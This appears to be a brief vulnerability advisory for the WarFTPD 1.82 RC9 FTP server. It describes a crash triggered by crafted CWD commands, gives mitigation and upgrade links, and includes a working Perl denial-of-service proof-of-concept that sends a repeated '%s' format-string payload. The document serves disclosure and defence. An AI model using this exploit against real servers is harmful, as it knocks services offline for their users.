Hello, due to an access violation, specialy crafted CWD-Commands will exit the FTP server when running as a NT service. User needs to be logged on. Vendor's report can be found at http://support.jgaa.com/index.php?cmd=ShowReport&ID=02643 Solution: deny anonymous or untrusted logins or use patched version. Updated Version can be found at http://support.jgaa.com/index.php?cmd=ShowProduct&ID=3 PoC Exploit <snip> #!/usr/bin/perl -w # remote DoS PoC Exploit for WarFTPD 1.82 RC9 # THX 2 barabas 4 his GoldenFTP-sploit :) # greetings fly out to Foobar use strict; use Net::FTP; my $payload="%s"x115; my $ftp = Net::FTP->new("127.0.0.1", Debug => 1); $ftp->login("anonymous","123@xxxxxxx"); $ftp->quot("CWD",$payload); </snip>
